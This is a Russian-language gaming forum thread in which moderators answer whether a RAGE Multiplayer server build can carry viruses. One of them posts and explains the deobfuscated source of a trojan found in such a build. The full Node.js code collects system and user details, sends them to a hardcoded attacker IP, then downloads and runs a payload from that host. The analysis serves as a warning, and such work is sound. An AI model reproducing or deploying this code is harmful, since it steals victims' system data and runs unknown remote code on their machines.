• Из-за обновления GTA 5 (был добавлен новый патч) может временно не работать вход в RAGE Multiplayer.

    Ошибка: Ваша версия Grand Theft Auto V не поддерживается RAGE Multiplayer.
    ERROR: Your game version is not supported by RAGE Multiplayer.

    Данная ошибка говорит о том, что GTA V обновилась до новой версии (GTA Online тоже). Вам необходимо обновить саму игру в главном меню вашего приложения (Steam / Epic Games / Rockstar Games).
    Если после этого RAGE:MP все равно не работает - вам нужно дождаться выхода патча для самого мультиплеера (обычно это занимает от нескольких часов до нескольких дней).

    Новости и апдейты Rockstar Games - https://www.rockstargames.com/newswire/
    Статус всех служб для Rockstar Games Launcher и поддерживаемых игр: https://support.rockstargames.com/ru/servicestatus


    Grand Theft Auto 5 (+ GTA Online) последний раз были обновлены:

Могут ли быть вирусы в сборке reage rp

XDeveluxe

⚡️BackEnd Developer
Команда форума
Moderator
High developer
BackEnd developer
30 Авг 2021
2,766
1,581
211
28
ты ошибаешься)
есть натурально бекдор до сегодняшнего дня, который буквально полностью позволяет тебе получить доступ к клиенту
ы

лично я так не делал - но я уже не один раз и не от одного человека об этом слышал
Ну, возможно какие-то обходные пути существуют, как и в любом "античите" - это война говна с мочой вечна, но напрямую через обычные методы - нет, попробуй сам.
Это тестилось неоднократно даже мной, поэтому не уверен, что данный код работает в условиях клиентки RAGEMP.

По самому коду:
1742587545050.png
 

Inoi

/dev/null
Команда форума
Moderator
VIP
15 Окт 2020
3,799
1,858
208
35
Посмотреть вложение 19005Теперь пролистайте в самый низ и потом вправо)

На расшифрованный код

Код:
const fs = require('fs');
const os = require('os');
const path = require('path');
const { exec } = require('child_process');
const request = require('request');
const http = require('http');

// Тут скрипт собирает информейшен о системе
const homedir = os.homedir();
const hostname = os.hostname();
const platform = os.platform();
const username = os.userInfo().username;
const interfaces = os.networkInterfaces();

let globalId = null;
let attackerIp = '185.135.199.34';
let attackerPort = '1244';
const attackerBaseUrl = `http://${attackerIp}:${attackerPort}`;
const keyEndpoint = '/keys';
const payloadEndpoint = '/payload';

// Это декодирование через XOR
function xorDecode(buffer, key) {
  return buffer.map((b, i) => b ^ key[i % key.length]);
}

// Получает файл и сохраняет у тебя в системе свою какую-то хуйню
function saveAndExecute(remoteUrl, localFilePath) {
  const file = fs.createWriteStream(localFilePath);
  http.get(remoteUrl, response => {
    response.pipe(file);
    file.on('finish', () => {
      file.close(() => {
        execFile(localFilePath);
      });
    });
  });
}

// Проверка и запуск скаченной хуйни
function execFile(filePath) {
  if (fs.existsSync(filePath)) {
    exec(`"${filePath}"`, (err, stdout, stderr) => {
      if (err) return;
    });
  }
}

// Отправка собранной информации хацкеру
function reportInfo(session, componentCode) {
  const payload = {
    ts: globalId,
    type: 'system',
    hid: `${hostname}+${username}`,
    ss: session,
    cc: componentCode,
  };

  const options = {
    url: `${attackerBaseUrl}${keyEndpoint}`,
    form: payload,
  };

  try {
    request.post(options, (err, res, body) => {});
  } catch (e) {}
}

function initMalware() {
  globalId = Date.now().toString();
  let component = '';

  try {
    const keys = Object.keys(interfaces);
    if (keys.length > 0) component = keys[0];
  } catch {}

  reportInfo('init', component);
  downloadAndRunPayload();
}

// Загрузка и запуск левой хуйни
function downloadAndRunPayload() {
  const localPath = path.join(homedir, 'update.exe'); // может быть .sh под *nix
  const fullUrl = `${attackerBaseUrl}${payloadEndpoint}`;
  saveAndExecute(fullUrl, localPath);
}

// Просто ретраи
let attempts = 0;
const maxAttempts = 3;
const retryDelay = 5 * 60 * 1000; // 5 минут

function attemptStart() {
  if (attempts < maxAttempts) {
    attempts++;
    initMalware();
  } else {
    clearInterval(interval);
  }
}

const interval = setInterval(attemptStart, retryDelay);
attemptStart();


Что это?
Если кратко - что угодно, хуй знает

Это многоэтапный троян, который сначала узнаёт где собственно находится - юзер, ось, сетка, сливает всё это на http://185.135.199.34:1244/keys
Потом скачивает что-то с http://185.135.199.34:1244/payload и запускает.
Что он скачивает и запускает - без понятия, конечно
Это может быть ратник, может быть кусочек ботнета, майнер, кейлоггер - да что угодно на самом деле
Можно скачать и посмотреть, у меня в целом даже вмка есть для такой хуйни
Но так впадлу ес чесна

Но это абсолютно точно какая-то хуйня, которой быть не должно
 
Реакции: ubees и XDeveluxe

Inoi

/dev/null
Команда форума
Moderator
VIP
15 Окт 2020
3,799
1,858
208
35

Harvey Specter

Специалист
BackEnd developer
7 Ноя 2020
243
88
95
На расшифрованный код
Спасибо, я уже давно его декомпилил) И примерно знаю что он делает)
Вопрос был в том могут ли быть вирусы в коде, вот вам и ответ - могут. И даже в опенсорсе)

А по поводу античита и доступа к системе. Обходные пути есть, где сервера детектят что и как у чела, я более чем уверен, просто это доступно узкому кругу лиц
 
Реакции: Inoi